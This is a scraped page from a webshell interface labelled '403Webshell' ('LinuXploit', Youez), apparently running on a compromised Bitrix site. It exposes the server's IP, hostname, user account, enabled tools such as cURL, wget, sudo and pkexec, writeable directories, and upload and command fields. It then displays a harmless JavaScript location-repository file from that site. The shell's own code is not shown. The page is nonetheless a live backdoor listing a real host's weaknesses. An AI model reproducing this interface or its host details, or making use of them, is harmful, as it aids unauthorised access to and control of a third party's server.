403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/core/src/repository/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/core/src/repository/locationrepository.js
import BaseRepository from './baserepository';
import LocationJsonConverter from '../entity/location/locationjsonconverter';
import Location from '../entity/location';
import Address from '../entity/address';
import LocationObjectConverter from '../entity/location/locationobjectconverter';

export default class LocationRepository extends BaseRepository
{
	constructor(props = {})
	{
		props.path = props.path || 'location.api.location';
		super(props);
	}

	findParents(location: Location): Promise
	{
		if(!(location instanceof Location))
		{
			throw new TypeError('location must be type of Location');
		}

		return this.actionRunner.run(
			'findParents',
			{
				location: LocationObjectConverter.convertLocationToObject(location)
			})
			.then(this.processResponse.bind(this))
			.then(this.#convertCollection.bind(this));
	}

	findByExternalId(externalId: string, sourceCode: string, languageId: string): Promise
	{
		if(!externalId || !sourceCode || !languageId)
		{
			throw new Error('externalId and sourceCode and languageId must be defined');
		}

		return this.actionRunner.run(
			'findByExternalId',
			{
				externalId: externalId,
				sourceCode: sourceCode,
				languageId: languageId
			})
			.then(this.processResponse.bind(this))
			.then(this.#convertLocation.bind(this));
	}

	findById(locationId: number, languageId: string)
	{
		if(!locationId || !languageId)
		{
			throw new Error('locationId and languageId must be defined');
		}

		return this.actionRunner.run(
			'findById',
			{
				id: locationId,
				languageId: languageId
			})
			.then(this.processResponse.bind(this))
			.then(this.#convertLocation.bind(this));
	}

	#convertCollection(collectionJsonData: Array): Array<Location>
	{
		if(!Array.isArray(collectionJsonData))
		{
			throw new Error('Can\'t convert location collection data');
		}

		const result = [];

		collectionJsonData.forEach((location) => {
			result.push(
				this.#convertLocation(location)
			);
		});

		return result;
	}

	#convertLocation(locationData)
	{
		if(!locationData)
		{
			return null;
		}

		if(typeof locationData !== 'object')
		{
			throw new Error('Can\'t convert location data');
		}

		return LocationJsonConverter.convertJsonToLocation(locationData);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit